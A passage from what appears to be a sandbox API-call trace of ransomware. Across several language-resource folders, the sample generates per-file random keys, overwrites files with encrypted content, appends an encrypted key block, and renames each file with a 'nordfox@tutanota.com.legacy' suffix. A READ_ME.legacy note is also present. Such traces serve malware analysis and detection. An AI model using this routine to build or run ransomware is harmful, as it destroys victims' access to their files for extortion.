lpOverlapped=0x0) returned 1 [0101.156] CloseHandle (hObject=0x4ac) returned 1 [0101.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0101.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0101.172] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1038\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.175] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0101.175] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0101.175] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0101.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0101.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584988 [0101.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0101.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584988 | out: pbBuffer=0x584988) returned 1 [0101.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0101.175] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1038\\eula.rtf", dwFileAttributes=0x80) returned 1 [0101.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0101.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0101.175] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0101.175] CreateFileW (lpFileName="\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac [0101.175] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4254) returned 1 [0101.176] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x109e) returned 0x5a0f80 [0101.176] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x109e) returned 0x5a2028 [0101.176] ReadFile (in: hFile=0x4ac, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x109e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x109e, lpOverlapped=0x0) returned 1 [0101.177] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=-4254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0101.178] WriteFile (in: hFile=0x4ac, lpBuffer=0x5a2028*, nNumberOfBytesToWrite=0x109e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a2028*, lpNumberOfBytesWritten=0x2e1f9bc*=0x109e, lpOverlapped=0x0) returned 1 [0101.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a2028 | out: hHeap=0x520000) returned 1 [0101.178] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x109e [0101.178] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.178] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.178] WriteFile (in: hFile=0x4ac, lpBuffer=0x584988*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584988*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.178] WriteFile (in: hFile=0x4ac, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0101.178] CloseHandle (hObject=0x4ac) returned 1 [0101.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584988 | out: hHeap=0x520000) returned 1 [0101.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0101.184] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1038\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0101.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0101.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0101.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0101.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0101.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0101.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0101.190] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8ccb2c9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0828 [0101.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0101.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0101.190] GetLastError () returned 0x0 [0101.190] SetLastError (dwErrCode=0x0) [0101.190] GetLastError () returned 0x0 [0101.190] SetLastError (dwErrCode=0x0) [0101.190] GetLastError () returned 0x0 [0101.190] SetLastError (dwErrCode=0x0) [0101.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0101.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d818 [0101.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0101.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0101.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ea8 [0101.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ea8 | out: hHeap=0x520000) returned 1 [0101.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0101.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0101.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0101.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0101.191] FindNextFileW (in: hFindFile=0x5a0828, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8ccb2c9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0101.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0101.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0101.191] GetLastError () returned 0x0 [0101.191] SetLastError (dwErrCode=0x0) [0101.191] GetLastError () returned 0x0 [0101.191] SetLastError (dwErrCode=0x0) [0101.191] GetLastError () returned 0x0 [0101.191] SetLastError (dwErrCode=0x0) [0101.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0101.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0101.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0101.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0101.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ea8 [0101.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ea8 | out: hHeap=0x520000) returned 1 [0101.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0101.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0101.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0101.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0101.191] FindNextFileW (in: hFindFile=0x5a0828, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0101.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0101.191] GetLastError () returned 0x0 [0101.192] SetLastError (dwErrCode=0x0) [0101.192] GetLastError () returned 0x0 [0101.192] SetLastError (dwErrCode=0x0) [0101.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0101.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0101.192] GetLastError () returned 0x0 [0101.192] SetLastError (dwErrCode=0x0) [0101.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0101.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0101.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d2f0 [0101.192] FindNextFileW (in: hFindFile=0x5a0828, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0101.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0101.192] GetLastError () returned 0x0 [0101.192] SetLastError (dwErrCode=0x0) [0101.192] GetLastError () returned 0x0 [0101.192] SetLastError (dwErrCode=0x0) [0101.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0101.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0101.192] GetLastError () returned 0x0 [0101.192] SetLastError (dwErrCode=0x0) [0101.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0101.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0101.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0101.192] FindNextFileW (in: hFindFile=0x5a0828, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ccb2c9, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8ccb2c9, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8ccb2c9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0101.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0101.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0101.193] GetLastError () returned 0x0 [0101.193] SetLastError (dwErrCode=0x0) [0101.193] GetLastError () returned 0x0 [0101.193] SetLastError (dwErrCode=0x0) [0101.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0101.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0101.193] GetLastError () returned 0x0 [0101.193] SetLastError (dwErrCode=0x0) [0101.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0101.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0101.193] FindNextFileW (in: hFindFile=0x5a0828, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0101.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0101.193] GetLastError () returned 0x0 [0101.193] SetLastError (dwErrCode=0x0) [0101.193] GetLastError () returned 0x0 [0101.193] SetLastError (dwErrCode=0x0) [0101.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0101.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0101.193] GetLastError () returned 0x0 [0101.193] SetLastError (dwErrCode=0x0) [0101.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0101.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0101.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0101.193] FindNextFileW (in: hFindFile=0x5a0828, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0101.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0101.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0101.194] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0101.194] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0101.194] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1040\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0101.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0101.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0101.195] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0101.195] CreateFileW (lpFileName="\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b0 [0101.195] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18264) returned 1 [0101.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5a0f80 [0101.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5a56e0 [0101.195] ReadFile (in: hFile=0x4b0, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0101.216] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0101.216] WriteFile (in: hFile=0x4b0, lpBuffer=0x5a56e0*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a56e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0101.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a56e0 | out: hHeap=0x520000) returned 1 [0101.217] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4758 [0101.218] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.218] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.219] WriteFile (in: hFile=0x4b0, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.219] WriteFile (in: hFile=0x4b0, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0101.219] CloseHandle (hObject=0x4b0) returned 1 [0101.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0101.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0101.224] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1040\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.227] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0101.227] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0101.227] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0101.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0101.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0101.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0101.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0101.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0101.228] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1040\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0101.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0101.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0101.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0101.228] CreateFileW (lpFileName="\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b0 [0101.228] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=80060) returned 1 [0101.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x138bc) returned 0x5a0f80 [0101.228] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x138bc) returned 0x5b4848 [0101.229] ReadFile (in: hFile=0x4b0, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x138bc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x138bc, lpOverlapped=0x0) returned 1 [0101.245] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=-80060, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0101.245] WriteFile (in: hFile=0x4b0, lpBuffer=0x5b4848*, nNumberOfBytesToWrite=0x138bc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b4848*, lpNumberOfBytesWritten=0x2e1f9bc*=0x138bc, lpOverlapped=0x0) returned 1 [0101.245] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.246] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b4848 | out: hHeap=0x520000) returned 1 [0101.248] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x138bc [0101.248] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.248] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.250] WriteFile (in: hFile=0x4b0, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.250] WriteFile (in: hFile=0x4b0, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0101.250] CloseHandle (hObject=0x4b0) returned 1 [0101.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0101.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0101.263] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1040\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0101.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0101.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0101.265] 